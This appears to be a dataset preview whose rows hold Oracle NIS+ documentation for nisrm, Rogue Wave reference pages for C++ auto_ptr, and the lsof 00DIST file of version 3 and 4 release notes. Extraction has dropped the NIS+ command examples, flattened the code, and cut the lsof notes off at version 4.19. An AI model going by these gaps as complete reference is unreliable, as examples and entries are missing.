text stringlengths 454 608k | url stringlengths 17 896 | dump stringclasses 91
values | source stringclasses 1
value | word_count int64 101 114k | flesch_reading_ease float64 50 104 |
|---|---|---|---|---|---|
The nisrm command is similar to the standard rm system command. It removes any NIS+ object from the namespace, except directories and nonempty tables. To use the nisrm command, you must have destroy rights to the object. However, if you don't, you can use the -f option, which tries to force the operation in spite of permissions.
You can remove group objects with the nisgrpadm -d command (see "Deleting an NIS+ Group"), and you can empty tables with nistbladm -r or nistbladm -R (see "Deleting a Table").
To remove a nondirectory object, use:Table 13-2 nisrm Syntax Options
To remove nondirectory objects, use the nisrm command and provide the object names:
This example removes a group and a table from the namespace: | http://docs.oracle.com/cd/E19455-01/806-1387/6jam692a4/index.html | CC-MAIN-2013-48 | refinedweb | 124 | 59.43 |
Memory Management
A simple, smart pointer class.
#include <memory>
template <class X> class auto_ptr;
The template class auto_ptr holds onto a pointer obtained via new and deletes that object when the auto_ptr object itself is destroyed (such as when leaving block scope). auto_ptr can be used to make calls to operator new exception-safe. The auto_ptr class provides semantics of strict ownership: an object may be safely pointed to by only one auto_ptr, so copying an auto_ptr copies the pointer and transfers ownership to the destination.
template <class X> class auto_ptr {
public: // constructor/copy/destroy explicit auto_ptr (X* = 0); auto_ptr (const auto_ptr<X>&); void operator= (const auto_ptr<X>&); ~auto_ptr (); // members X& operator* () const; X* operator-> () const; X* get () const; X* release (); void reset (X* = 0); };
explicit auto_ptr (X* p = 0);
Constructs an object of class auto_ptr<X>, initializing the held pointer to p. Requires that p points to an object of class X or a class derived from X for which delete p is defined and accessible, or that p is a null pointer.
auto_ptr (const auto_ptr<X>& a);
Copy constructor. Constructs an object of class auto_ptr<X>, and copies the argument a to *this. *this becomes the new owner of the underlying pointer.
~auto_ptr ();
Deletes the underlying pointer.
void operator= (const auto_ptr<X>& a);
Assignment operator. Copies the argument a to *this. *this becomes the new owner of the underlying pointer. If *this already owned a pointer, then that pointer is deleted first.
X& operator* () const;
Returns a reference to the object to which the underlying pointer points.
X* operator-> () const;
Returns the underlying pointer.
X* get () const;
Returns the underlying pointer.
X* release();
Releases ownership of the underlying pointer. Returns that pointer.
void reset (X* p = 0);
Requires that p points to an object of class X or a class derived from X for which delete p is defined and accessible, or p is a null pointer. Deletes the current underlying pointer, then resets it to p.
// // auto_ptr.cpp // #include <iostream.h> #include <memory> // // A simple structure. // struct X { X (int i = 0) : m_i(i) { } int get() const { return m_i; } int m_i; }; int main () { // // b will hold a pointer to an X. // auto_ptr<X> b(new X(12345)); // // a will now be the owner of the underlying pointer. // auto_ptr<X> a = b; // // Output the value contained by the underlying pointer. // cout << a->get() << endl; // // The pointer will be deleted when a is destroyed on // leaving scope. // return 0; } Output : 12345 | http://docs.roguewave.com/legacy-hpp/stdref/auto-ptr.html | CC-MAIN-2017-30 | refinedweb | 412 | 57.16 |
Scala: work with files & directories
.
Here is a list of operations which I want to cover:
- file creation / removing
- file writing / reading
- file comparison
- zipping / unzipping
Of course this list doesn’t limit number of useful functions which you can perform with files and directories.
The most suitable format for this article is tutorial + example, so I’ll try to type more lines of code and less bla-bla-bla. Any way if you want to discuss something, feel free to leave a comment.
Looking a little ahead I want to say that I will not write about native
scala.io.Source, instead I’ll show a powerful library, because on the moment of writing 2.16.0 is the latest version.
The next step is to add 2 imports:
import better.files._ import better.files.File._
Finally we can start manipulations with files.
How to create a file / directory (handle if it’s creation of folder with an extra path? Let’s assume, approach:
val simpleFile = (root/"Users/Alex/Downloads"/"simple_file.txt") .overwrite("I'm from simple_file.txt") val destinationFile = (root/"Users/Alex/Downloads"/"test.txt") .write(simpleFile.byteArray)(OpenOptions.default) println(destinationFile.contentAsString)
Delete file / directory
Another group of popular questions is about / folders
It’s pretty common scenario for developers. So what better-files library suggest for solving of this problem? Use
== when you want to compare two files / directories by path. Use
=== when you want to check equality of two files / folders by content.
I guess, that comparison of two folders content was never so easy before 🙂
How to zip and unzip files / directories
In order to zip file or directory, just use following construction:
val forZip = (root/"Users/Alex/Downloads"/"gameboard.xlsx") forZip.zipTo(root/"Users/Alex/Downloads"/"archive.zip")
When you need to unzip an archive, simply call
unzipTo method.
Summary
I never thought, that work with files may be so easy as with better-files. In the article I showed the most popular operations, but with this library you can do much more. For example you can copy file or directory to some destination, work with file attributes (extension, size), set permissions, scan content…
Now you understand why this library works with files like a boss? 🙂
If you liked this blog post, share it in social networks!
Thanks! | http://fruzenshtein.com/scala-work-with-files-folders/ | CC-MAIN-2018-51 | refinedweb | 387 | 57.27 |
Notes for the distribution of lsof version 4 ******************************************************************** | The latest release of lsof is always available via anonymous ftp | | from lsof.itap.purdue.edu. Look in pub/tools/unix/lsof. | ******************************************************************** Contents Dialects Supported How Lsof Works Lsof Output Getting Started Quickly Limiting, Filtering, and Selecting Lsof Output Parsing Lsof Output with Another Program Repeat Mode Distribution Restrictions Cautions Distribution Contents Warranty Bug Reports The lsof-l Mailing List Version 3 Release Notes 3.0, May 24, 1994 ... 3.88, February 17, 1997 What's New in Version 4 Version 4 Release Notes 4.0, February 24, 1997 4.01, March 3, 1997 4.02, March 21, 1997 4.03, April 7, 1997 4.04, April 17, 1997 4.04 supplement, April 18, 1997 4.05, April 24, 1997 4.06, April 30, 1997 4.07, May 12, 1997 4.08, May 23, 1997 4.09, June 1, 1997 4.10, June 8, 1997 4.11, June 12, 1997 4.12, June 24, 1997 4.13, July 9, 1997 4.14, July 22, 1997 4.15, August 15, 1997 4.16, September 25, 1997 4.17, October 14, 1997 4.18, October 25, 1997 4.19, October 30, 1997 4.20, November 11, 1997 4.21, December 1, 1997 4.22, December 15, 1997 4.23, January 16, 1998 4.24, January 28, 1998 4.25, February 7, 1998 4.26, February 17, 1998 4.27, March 6, 1998 4.28, March 10, 1998 4.29, March 26, 1998 4.30, April 9, 1998 4.31, April 21, 1998 4.32, May 13, 1998 4.33, May 22, 1998 4.34, June 26, 1998 4.35, July 17, 1998 4.36, August 4, 1998 4.37, September 15, 1998 4.38, November 25, 1998 4.39, December 29, 1998 4.40, January 25, 1999 4.41, February 27, 1999 4.42, March 30, 1999 4.43, May 11, 1999 4.44, June 24, 1999 4.45, July 30, 1999 4.46, October 23, 1999 4.47, November 29, 1999 4.48, January 14, 2000 4.49, April 3, 2000 4.50, June 29, 2000 4.51, August 21, 2000 4.52, November 8, 2000 4.53, December 6, 2000 4.54, January 19, 2001 4.55, February 15, 2001 4.56, May 3, 2001 4.57, July 19, 2001 4.58, September 13, 2001 4.59, October 20, 2001 4.60, November 9, 2001 4.61, January 22, 2002 4.62, March 7, 2002 4.63, April 23, 2002 4.64, June 26, 2002 4.65, October 10, 2002 4.66, December 22, 2002 4.67, March 27, 2003 4.68, June 18, 2003 4.69, October 16, 2003 4.70, January 16, 2004 4.71, March 11, 2004 4.72, July 13, 2004 4.73, October 21, 2004 4.74, January 17, 2005 4.75, May 16, 2005 4.76, August 30, 2005 4.77, April 10, 2006 4.78, April 24, 2007 4.79, April 15, 2008 4.80, May 12, 2008 4.81, October 21, 2008 4.82, ??? ???, 2008 Dialects Supported ================== Lsof (for LiSt Open Files) lists files opened by processes on selected Unix systems. Version 4 is a source reorganization of version 3, itself a major revision of version 2. Version 4 has been tested on: AIX 5.3 FreeBSD 4.9 for x86-based systems FreeBSD 7.[01] and 8.0 for AMD64-based systems Linux 2.1.72 and above for x86-based systems Solaris 9 and 10 (The pub/tools/unix/lsof/contrib directory on lsof.itap.purdue.edu contains information on other ports.) If your favorite Unix dialect is not in the list, or if your version of it is more recent than the ones listed, please contact me at <abe@purdue.edu>. Version 3 of lsof was tested on: AIX 3.2.5, 4.1[.[1234]], and 4.2 BSDI BSD/OS 2.0, 2.0.1, and 2.1 for x86-based systems DC/OSx 1.1 for Pyramid systems Digital UNIX (DEC OSF/1) 2.0, 3.0, 3.2, and 4.0 EP/IX 2.1.1 for the CDC 4680 FreeBSD 1.1.5.1, 2.0, 2.0.5, 2.1, 2.1.5 for x86-based systems HP-UX 8.x, 9.x, 10.01, 10.10, and 10.20 IRIX 5.2, 5.3, 6.0, 6.0.1, and 6.[124] Linux through 2.0.27 for x86-based systems NetBSD 1.0, 1.1, and 1.2 for x86 and SPARC-based systems NEXTSTEP 2.1 and 3.[0123] OpenBSD 1.2 and 2.0 for x86-based systems Reliant UNIX 5.43 for Pyramid systems RISC/os 4.52 for MIPS R2000-based systems SCO OpenServer Release 1.1, 3.0, and 5.0.x for x86-based systems SCO UnixWare 2.1 and 2.1.1 for x86-based systems Sequent PTX 2.1.[1569], 4.0.[23], 4.1.[024], 4.2[.1], and 4.3 Solaris 2.[12345], 2.5.1, and 2.6-Beta SunOS 4.1.x Ultrix 4.2, 4.3, 4.4, and 4.5 Version 3 and its predecessor, version 2, may be found at: How Lsof Works ============== Using available kernel data access methods -- getproc(), getuser(), kvm_*(), nlist(), pstat(), read(), readx(), /proc -- lsof reads process table entries, task table entries, user areas and file pointers to reach the underlying structures that describe files opened by processes. Lsof interprets most file node structures -- advfsnodes, autonodes, cnodes, cdrnodes, devnodes, fifonodes, gnodes, hsnodes, inodes, mfsnodes, pcnodes, procnodes, rnodes, snodes, specnodes, s5inodes, tmpnodes. It understands NFS connections. It recognizes FIFOs, multiplexed files, Unix and Internet sockets. It knows about streams. It understands /proc file systems for some dialects. On many dialects it recognizes execution text and library references. It knows about AFS on some Unix dialects. Lsof Output =========== The lsof output describes: * the identification number of the process (PID) that has opened the file; * the process group identification number (PGID) of the process (optional); * the process identification number of the parent process (PPID) (optional); * the command the process is executing; * the owner of the process; * for all files in use by the process, including the executing text file and the shared libraries it is using: * the file descriptor number of the file, if applicable; * the file's access mode; * the file's lock status; * the file's device numbers; * the file's inode number; * the file's size or offset; * the name of the file system containing the file; * any available components of the file's path name; * the names of the file's stream components; * the file's local and remote network addresses; * the TLI network (typically UDP) state of the file; * the TCP state, read queue length, and write queue length of the file; * the file's TCP window read and write lengths (Solaris only); * other file or dialect-specific values. Getting Started Quickly ======================= If you want to get started using lsof quickly, or see some examples of how lsof can be used, consult the 00QUICKSTART file of the lsof distribution. The 00QUICKSTART file won't help you build or install lsof, but it will cut through the density of the lsof man page, giving you more readily an idea of what you can do with lsof. For information on building and installing lsof, consult the 00README file of the lsof distribution. Limiting, Filtering, and Selecting Lsof Output ============================================== Lsof accepts options to limit, filter, and select its output. These are the possible criteria: * Process ID (PID) number -- to list the open files for a given process; * Process Group ID (PGID) -- to list the open files for all the processes of a given process group; * User ID number or login name -- to list the open files for all the processes of a given user; * Internet address -- to list the open files using a given Internet address (host name), protocol, or port (number or name); or to list all open Internet files; * command name; * file descriptor name or number; * list all open NFS files; * list all open Unix domain socket files; * list all uses of a specific file; * list all open files on a file system. Selection options are normally ORed -- i.e., an open file meeting any of the criteria is listed. The selection options may be ANDed so that an open file will be listed only if it meets all the criteria. In the absence of any selection criteria, lsof lists files open to all processes. Parsing Lsof Output with Another Program ======================================== The lsof -F option directs it to produce "field" output that can easily be parsed by another program. The lsof distribution contains sample awk, perl 4, and perl 5 scripts in its scripts subdirectory that show how to post-process field output. Repeat Mode =========== Lsof can be directed to produce output, delay for a specified time, then repeat the output, cycling until stopped by an interrupt or quit signal. This mode is useful for monitoring the status of some file operation -- e.g., an ftp transfer or a tape backup operation. Repeat mode is more efficient when combined with lsof's selection options, since they limit lsof overhead. It's possible to use lsof's field output options to supply repeat mode output to another process for its manipulation. The scripts subdirectory of the lsof distribution has sample Perl scripts showing how to consume lsof repeat mode output from a pipe. Distribution Restrictions ========================= Lsof may be used and distributed freely, subject to these limitations: 1. Neither the author nor Purdue University is responsible for any consequences of the use of this software. 2. The origin of this software must not be misrepresented, either by explicit claim or by omission. Credit to the author and Purdue University must appear in documentation and sources. 3. Altered versions must be plainly marked as such, and must not be misrepresented as being the original software. 4. This notice may not be removed from or altered in the lsof source files. Cautions ======== Lsof is a tool that is closely tied to the Unix operating system version. It uses header files that describe kernel structures and reads kernel structures that typically change from OS version to OS version. DON'T TRY TO USE AN LSOF BINARY, COMPILED FOR ONE UNIX OS VERSION, ON ANOTHER. On some Unix dialects, notably SunOS and Solaris, lsof versions may be even more restricted by architecture type. An lsof binary, compiled for SunOS 4.1.3 on a sun4c machine, for example, won't work on a sun4m machine. AN LSOF BINARY, COMPILED FOR ONE SOLARIS 1.X ARCHITECTURE, ISN'T GUARANTEED TO WORK ON A DIFFERENT SOLARIS 1.X ARCHITECTURE. Distribution Contents ===================== The lsof distribution is checked for completeness when it is constructed and by the Inventory script when you run the Configure script. (See The Inventory Script section of the 00README file of this distribution.) Lsof is organized in these parts: * The main lsof directory, containing common sources, configuration and setup scripts and three subdirectories: dialects/, lib/, and scripts/. Lsof is compiled in the main lsof directory after configuration. The selected dialect sources are copied or linked from the specified subdirectory. (Symbolic linking is the standard method.) Common lsof definitions may be found in lsof.h; common function prototypes, proto.h; and common storage, store.c. * The dialects/ subdirectory contains subdirectories with sources specific to UNIX dialect implementations -- e.g., the dialects/sun/ subdirectory contains sources for the SunOS (Solaris 1.x) and Solaris (2.x) implementations of lsof. The dialects subdirectories also contain Makefiles and scripts for assisting dialect source configuration. Dialect configuration definitions may be found in dlsof.h; other dialect definitions, dlsof.h; dialect prototypes, dproto.h; and dialect storage, dstore.c. * The lib/ subdirectory contains sources for common lsof functions. Not all dialects use the functions -- some have their own versions of them. The lib/ functions are enabled and customized with #define's in the dialect machine.h header files. * The scripts/ subdirectory contains sample scripts for processing lsof field (-F) output. The scripts are written in AWK, Perl 4, and Perl 5. The 00PORTING file of the lsof distribution has more information on lsof components, configuration, and construction. Warranty ======== Lsof is provided as-is without any warranty of any kind, either expressed or implied, including, but not limited to, the implied warranties of merchantability and fitness for a particular purpose. The entire risk as to the quality and performance of lsof is with you. Should lsof prove defective, you assume the cost of all necessary servicing, repair, or correction. Bug Reports =========== Now that the obligatory disclaimer is out of the way, let me hasten to add that I accept lsof bug reports and try hard to respond to them. I will also consider and discuss requests for new features, ports to new dialects, or ports to new OS versions. PLEASE DON'T SEND A BUG REPORT ABOUT LSOF TO THE UNIX DIALECT VENDOR. At worst such a bug report will confuse the vendor; at best, the vendor will forward the bug report to me. Please send all bug reports, requests, etc. to me via email at <abe@purdue.edu>. The lsof-l Mailing List ======================= Information about lsof, including notices about the availability of new revisions, may be found in mailings of the lsof-l listserv. For more information about it, including instructions on how to subscribe, read the 00LSOF-L file of the lsof distribution. Version 3 Release Notes ======================= See 00DIST in the last lsof 3 revision 3.88, for its complete set of release notes. Lsof revision 3.88 may be found at: 3.0 May 24, 1994 This is the first official release of lsof 3. ... 3.88 February 17, 1997 +======================================+ | This is the last version 3 revision. | +======================================+ Added documentation files -- 00.README.FIRST[_<version>] and 00RELEASE.SUMMARY_<version> -- to the distribution. What's new in Version 4 ======================= The main goal of version 4 was to eliminate the confusing common/ fragment source file technique. Changing the version number also provided an opportunity to restart the numbering, which at 3.88 had risen to a large value. The sources that appeared in the dialects/common subdirectory of version 3 in fragment files have been incorporated into the version 4 liblsof.a library as *.c files. This results in significant changes to many source files, scripts, and Makefiles of all dialect versions. It allows elimination of some source files -- ddev.c, dfile.c, dmnt.c -- for dialects now obtaining functions from liblsof.a that formerly came from making dialect source files by combining fragment files. The version 4 liblsof.a sources are stored in the lib/ subdirectory of the main lsof directory. The liblsof.a functions are activated and conditioned in their source files by values #define'd in the dialect dlsof.h and machine.h header files. Dialects that provide a private version of a library function refrain from #define'ing the symbol that would activate the library function code. Version 4 Release Notes ======================= 4.0 February 24, 1997 +====================================+ | This is the first lsof 4 revision. | +====================================+ Reorganized sources: eliminated code fragment files and created a library in their place. Modified or deleted many dialect source and header files. Changed documentation accordingly. Added a warning to sgi/Makefile and 00FAQ that advises against using the IRIX C compiler -n32 option when compiling lsof. Thanks go to Peter Ilieve <peter@memex.co.uk> for bringing this to my attention. Dropped IRIX 5.2 in mid-stream, because my 5.2 test system was upgraded to 5.3. 4.01 March 3, 1997 Added TFS support for Pyramid dialects. Added test to Configure and to the IRIX dnode.c for the different cnode struct that appears in <cachefs/cachefs_fs.h> on the 6.2 IMPACT distribution. Heddy Boubaker <boubaker@amfou.cenatls.cena.dgac.fr> alerted me to the cnode change and helped test this lsof adjustment. Shut down the lsof child process before doing a -r sleep(). A comment from Dan Mercer <dam@mmm.com> prompted this. 4.02 March 21, 1997 Based on a report from Pasi Kaara <Pasi.Kaara@atk.tpo.fi>, disabled HP-UX CCIT support in lsof for HP-UX versions 10 and above. Pasi's report also led to changes in the HP-UX machine.h to support use of gcc to compile lsof for HP-UX 10.20 and warnings against using `cc -Aa` or `gcc -ansi` to compile lsof under HP-UX 10.x. With help from Richard Allen <ra@hp.is> taught HP-UX 10.x lsof to name file systems better by using the virtual file system device number. Elias Halldor Agustsson <elias@rhi.hi.is> provided a test system. Changed NEXTSTEP and UNIXWARE Makefiles to use safer quoting when generating version.h. The change was suggested by Bob Farmer <ucs_brf@unx1.shsu.edu>. Added SHELL=/bin/sh string to all Makefiles. Added support for Linux 2.1.28 on a test system, kindly provided by Jonathan Sergent <sergent@purdue.edu>. Configure tests the Linux 2.1.x's C library lseek() function for proper handling of kernel offsets. If lseek() appears suspect, Configure activates the use of a private lseek() function. Changed the private nlist() function to nlist_private() and taught it to use the query_module() syscall in place of the deprecated get_kernel_syms() one. Added rudimentary AX.25 support for Pierfrancesco Caci <ik5pvx@infogroup.it> who helped test it. Updated the old get_kernel_syms() code to recognize and skip module name entries. Prompted by Marty Leisner <leisner@sdsp.mc.xerox.com>, eased the requirement that service name lookup for the -i option be accompanied by a protocol name. The name is not needed if both TCP and UDP names yield the same port number. Added xusers.awk script from Dan Mercer <damercer@mmm.com> to the distribution scripts/ subdirectory. Changed Configure script to use LSOF_VERS for all UNIX dialect version numbers and to pass LSOF_VERS to the dialect Mksrc functions. Also added the ability for a dialect stanza to declare a different dialect Makefile source. Modified dialect Mksrc files -- e.g., linux and sun -- accordingly. Added support for BSD/OS 3.0 with help from Jim Reid <jim@mpn.cp.philips.com>. Terry Kennedy <TERRY@spcvxa.spc.edu> kindly provided a test system. During the port corrected a bug that prevented proper handling of revoked files. 4.03 April 7, 1997 At the suggestion of Dan Mercer <damercer@mmm.com>, made HP-UX building of lsof aware of differences between the HP-UX bundled and unbundled C compilers. Added the ability for the lsof builder to define the default warning message issuance state. By default the issuance of warning messages is disabled; defining WARNINGSTATE in machine.h disables it. The Customize script was updated to handle WARNINGSTATE. Dan Mercer suggested this. Eliminated compiler complaint about improperly cast get_Nl_value() argument in ncache_load() in lib/rnch.c. Corrected zeromem() argument error in SCO dproc.c. Sped up parent directory cache lookup slightly. Updated for PTX 4.4, including additional VxFS (EFS) file system support. 4.04 April 17, 1997 At the suggestion of Bela Lubkin <belal@sco.COM> changed device cache handling to be more tolerant of a device cache file whose [cm]times are older than the ones on /dev or /devices. The change required adding information to Solaris device cache file clone lines, so the first time lsof 4.04 is run under Solaris it will complain about a bad cached clone device in a previous device cache file, then regenerate it. Added boot file path detection for SCO OSR 5 and above, based on information supplied by Bela. Fixed two bugs in DEC OSF/1 lsof -- an error in reporting locks and a missing continue statement in readdev() after a failure to open a directory. Jan Ole Suhr <josuhr@informatik.tu-clausthal.de> reported the second bug and supplied a fix. Fixed XFS problems with IRIX 6.2 by abandoning the idea that SGI will distribute XFS header files and defining an lsof-private xfs_inode structure. John Paul Morrison <John.Paul.Morrison@MultiActive.com> helped develop and test the 5.3 definition. John R. Vanderpool <fish@daacdev1.gsfc.nasa.gov> helped develop and test the 6.2 definition. Remove obsolete comments about common/*.frag files. Updated Linux lsof for Linux version 2.1.35. 4.04 April 18, 1997 Supplement Regenerated the 4.04 distribution to correct a non- device-cache #define misplacement in the Solaris and SunOS dlsof.h. Alexandre Oliva <oliva@dcc.unicamp.br> reported the problem. 4.05 April 24, 1997 Corrected an error in 00DCACHE. Made sure SCO /etc/ps/booted.systems is closed. Based on an observation by Bela Lubkin <belal@sco.COM> that the lsof child had needless file descriptors open, closed all but the open pipes between the lsof parent and child. Decommissioned CDC EP/IX support; I no longer have a test system. Based on a suggestion from Patrick Connor <connor@phreak.csd.sgi.com>, added -xansi to CFLAGS for IRIX 5.3 and 6.[234]. Also at Patrick's suggestion changed Configure to propagate exact SunOS 4.1.x version to the main and library Makefiles. This allowed the sunos413 and sunos413cc Configure abbreviations to be shortened to sunos and sunoscc. Updated obsolete argument uses (-H changed to -n) in count_pf.perl* and watch_a_file.perl scripts. Adjusted Solaris 2.6 lsof for Beta_Update with tips from Casper Dik <casper@holland.Sun.COM>. Fixed a Solaris 2.4 TCP address reporting bug. 4.06 April 30, 1997 Added a step to the Makefile clean rules that does a make clean in the lib subdirectory; suggested by Casper Dik <casper@holland.Sun.COM>. (Configure's -clean argument already did this.) Fixed an incorrect awk argument in the sunos*) Configure stanza, reported by Alexandre Oliva <oliva@dcc.unicamp.br>. Added CD9660 (aka ISO) file system support to FreeBSD, NetBSD, and OpenBSD with mods and help from Kenneth Stailey <kstailey@disclosure.com>. (BSDI already had CD9660 support.) While at it, added file descriptor system support to BSDI and FreeBSD. Added /kern file system support to OpenBSD. The support wasn't extended to BSDI, FreeBSD, or NetBSD, because it requires Kenneth Stailey's changes to /sys/miscfs/kernfs/kernfs.h. Updated IRIX 6.3 support after getting access to a test system, provided by John Paul Morrison <John.Paul.Morrison@MultiActive.com>. Improved the handling of IRIX 5.1 and greater FIFOs. 4.07 May 12, 1997 Based on AIX problem reports from David Capshaw <David.Capshaw@SEMATECH.Org>, changed the aix* Configure script stanza to avoid -bnolibpath for gcc (which the GNU loader doesn't grok) and AIX below 4.1.4 (where -bnolibpath hasn't been tested or is known to be unimplemented), and to refuse to use gcc for compiling lsof in AIX versions below 4.1 (because of possible structure alignment problems). Updated 00FAQ appropriately. Added OpenBSD support for EXT2FS. This support has yet to be tested. Tested lsof under OpenBSD 2.1. Activated /kern file system support for NetBSD when Configure senses that /sys/miscfs/kernfs/kernfs.h defines the kern_target structure. This support has not been tested under NetBSD, although it has been tested under OpenBSD. Made some simple changes to the BSDI machine.h, suggested by Jeffrey C. Honig <jch@bsdi.com>. Improved handling of alternate dialect Configure abbreviations -- aix and aixgcc, hpux and hpuxgcc, solaris and solariscc, and sunos and sunoscc. 4.08 May 23, 1997 Cleaned up dialect Makefile's, staring with a suggestion from Christopher Schanzle <chris@cam.nist.gov>. Improved Configure's -clean processing. Corrected bugs in Solaris lock reporting. Changed NetBSD Configure stanza to put -I/usr/include before -I/sys. 4.09 June 1, 1997 Adjusted for latest FreeBSD 3.0 release. This required adding a new kernel name cache module for reading BSD-form hashed kernel name cache entries, rnmh.c, to the lsof library, and adding a #define to each machine.h to select it. Activated rnmh.c for BSDI 2.1, BSDI 3.0, NetBSD 1.2, and OpenBSD 2.1. 4.10 June 8, 1997 Adjusted for Linux 2.1.x (x > 35) kernels with hashed task structure pointers. Marty Leisner <leisner@sdsp.mc.xerox.com> and Jonathan Sergent <sergent@io.com> tested the adjustment. Replaced readdev() stat() calls with lstat() to reduce device table and cache entries with the same device number and inode values. Added code to remove all remaining duplicates. This fixes a Linux problem reported by Jonathan Sergent and makes device node name output predictable. Corrected a bug in UnixWare stream file handling that prevented searching for the stream file by its associated character device name. Added Pyramid code to determine Reliant UNIX clone major device number differently from that of DC/OSx. 4.11 June 12, 1997 Changed Configure to sense that the PTX inp_[fl]addr members of the inpcb structure of <netinet/in_pcb.h> have a struct type and set HASINADDRSTR for use in PTX dnode.c and dsock.c tests. Changed PTX version 4.1.4 tests to use 4.1.3 instead. Carson Wilson <carson@mcs.com> reported the need to do this and tested the change. Fixed a block device table indexing bug in lib/rdev.c, reported by Carson Wilson. The same bug was squashed in pyramid/ddev.c. Added code to the Pyramid Reliant UNIX kread() function to compensate for an address boundary error in the kernel's /dev/kmem driver. Verified that lsof compiles and works under AIX 4.2.1. Added an AIX test for the presence of NFS header files, defined HAS_NFS and adjusted AIX dialect sources accordingly. Based on a suggestion from Gaylord Holder <holder@phy.ucsf.EDU>, added DEC OSF/1 code to auto-detect the booted file, whence kernel symbol addresses are obtained. 4.12 June 24, 1997 Corrected a device number sign extension problem in the reading and writing of device cache file. The problem was reported by Bela Lubkin <belal@sco.com> and he suggested a fix. Fixed an SCO stream device lookup problem. The report and solution came from Bela Lubkin Enhanced the Configure script to enable cross- configuration of lsof, based on suggestions from Marty Leisner <leisner@sdsp.mc.xerox.com>. A new documentation file, 00XCONFIG, describes the process. Made Pyramid OBJFS support conditional on the presence of supporting header files. Corrected the Pyramid MkKernOpts script so it generates the necessary -D's for the Nile/Jolt architecture. Richard Coley <rcoley@pyra.co.uk> helped. Added another IRIX xfs_inode variant for 6.2, 32 bits, no XFS rollup patch. Tested under UnixWare 2.1.2. 4.13 July 9, 1997 Taught Pyramid lsof to grok ttyfs vnodes with help from Richard Coley <rcoley@pyra.co.uk>. Fixed some minor bugs in Pyramid FIFO reporting. Eliminated use of the Pyramid UCB compatibility library at Richard's suggestion. Eliminated reporting of "strange" inode numbers for SCO OSR 3.2v5.0.x HPPS files with help from Bela Lubkin <belal@sco.com> Modified port to service name lookup to use a small number of getservbyport() calls before reading the entire map with getservent(). Changed port reporting to represent a zero as `*' to be consistent with other prt number reporting tools like netstat. Casper Dik <casper@holland.Sun.COM> suggested these changes -- the getserv*() one to improve performance for large NIS service name maps. Changed all readdev() functions to make the absence of block devices a warning instead of a fatal error after Brian Redman <ber@ms.com> reported his IRIX 6.4 system had no block devices. (It really did have block devices, but readdev()'s lstat() use caused it to miss them in a directory symbolically linked from /dev/dsk->/hw/disk.) Fixed Brian's real problem by changing the IRIX readdev() to use stat() on /dev nodes if a Configure test shows /hw is readable. Extended the potential to do the same to all readdev() functions. For consistency and convenience changed some Configure abbreviations and dialect subdirectory names: "decosf" abbreviation and "osf" dialect subdirectory name to "du"; "netbsd" dialect subdirectory name to "n+obsd"; "next3" abbreviation and "next" dialect subdirectory name to "ns"; "sco" abbreviation and dialect subdirectory name to "osr"; "sgi" dialect subdirectory name to "irix"; and "unixware" abbreviation and dialect subdirectory name to "uw". Added #if/#endif clauses to the AIX rmdupdev() function to avoid clone processing for AIX versions less than 4.1.4. The problem was reported by Toralf Foerster <toralf.foerster@io-warnemuende.de>, who supplied corrective code. Added support for new style NetBSD inode with i_ffs and i_e2fs union members. Improved Configure and 00FAQ information on Digital UNIX configuration subdirectory with suggestions from Brad Krebs <brad@EECS.Berkeley.EDU>. 4.14 July 22, 1997 Reorganized the Solaris handling of the inode structure header file, ufs_inode.h, to eliminate VxFS structure definition conflicts for Solaris 2.4, based on information from Greg Earle <earle@netbsd4me.jpl.nasa.gov>. Cleaned up some typos and confusion in Configure's help output, based on comments from Bela Lubkin <belal@sco.com> Added a 00DIALECTS file, containing UNIX dialect version numbers, that can be used by Configure and the man page. 4.15 August 15, 1997 Aligned `Configure -help` output better. Removed Configure's 2.6 Beta test adjustments. Added improved Solaris VxFS configuration and handling, based on information from Greg Earle <earle@netbsd4me.jpl.nasa.gov>. Added socket state -- TCO or TPI -- for socket files at the suggestion of Ian Fitchet <I.D.Fitchet@ftel.co.uk>. 4.16 September 25, 1997 Added reporting of TCP/TPI queue lengths and window sizes ala netstat to NAME column. Added -T option to select or de-select TCP/TPI info reporting. (Window sizes are only reported for Solaris.) Fixed anomalies along the way in SIZE/OFF processing for some dialects. Fixed service name argument processor to allow minus signs as part of the name. Consequently this disallows names with embedded minus signs from being specified as the start of a range. Added 00FAQ entries explaining why lsof won't find a file being edited with vi, why window sizes aren't reported for all dialects, and what the "no more information" message means. Forced Pyramid CC to be /usr/ccs/bin/cc to avoid accidental use of the BSD variant in /usr/ucb/cc. Added support for Linux glibc2, including a Configure test; cross-Configure support (00XCONFIG); and much unfortunate and risky sleight-of-hand in lsof Linux dialect header and source files, forced upon lsof by incompatibilities between Linux kernel and glibc2 header files. Included in scripts/identd.perl5 a Perl 5 implementation of an identd server, using lsof, provided by Kapil Chowksey <kchowksey@hss.hns.com>. Updated IRIX 6.4 xfs_inode guess. 4.17 October 14, 1997 Added -V option for verbose search result reporting. Verbose reports are prepared for failure to locate file names, command names, Internet addresses or files, login names, NFS files, PIDs, PGIDs, and UIDs. Augmented Linux NFS file test to cope with kernels whose NFS code is in a loadable module. Need for the test was pointed out by Jonathan Sergent <sergent@csociety.ecn.purdue.edu>. The change required that Linux have private dmnt.c source, Completed a Linux 2.1.57 port on a system provided by Jonathan Sergent. 4.18 October 25, 1997 Eliminated memory leaks in alloc_lfile(), lkup_port(), and NEXTSTEP's process_text() function. Added recognition of OpenBSD 2.2 in Configure, supplied by Kenneth Stailey <kstailey@disclosure.com>. Consolidated print_file() functions to use the one in lib/prtf.c. Made it configurable and changed it to size print columns dynamically. !!! WARNING !!! WITH DYNAMICALLY SIZED PRINT COLUMNS LSOF 4.18 PRODUCES OUTPUT SIGNIFICANTLY DIFFERENT FROM THAT OF PREVIOUS REVISIONS. LINES ARE GENERALLY SHORTER AND THERE IS GENERALLY LESS BLANK SPACE BETWEEN COLUMNS AND THE ITEMS IN THEM. THERE ARE NO LONGER ANY SPACES BETWEEN DEVICE NUMBER ELEMENTS, ONLY COMMAS. !!! WARNING !!! Added special types and print specification modifiers for file size and offset to handle UNIX dialects with 64 bit sizes and offsets. Paul Eggert <eggert@twinsun.com> reported the need for this addition. With Paul Eggert's help picked lint from the lsof library, the main level lsof sources, and the Sun dialect sources. Added documentation, including the file 00LSOF-L, about the lsof-l LISTSERV. Added support for Reliant UNIX on the RM600. Bob Passarella <rmpassar@pyramid.com> supplied the changes. Kevin Smith <kevin@pyramid.com> helped arrange test systems. While incorporating Bob's changes, modified lib/rnch.c to handle kernel ncache structs whose name is accessed via a char *, rather than in a char array. Changed #include order of <sys/socketvar.h> for Solaris 2.x. W. Richard Stevens <rstevens@kohala.com> pointed out the need to do this. 4.19 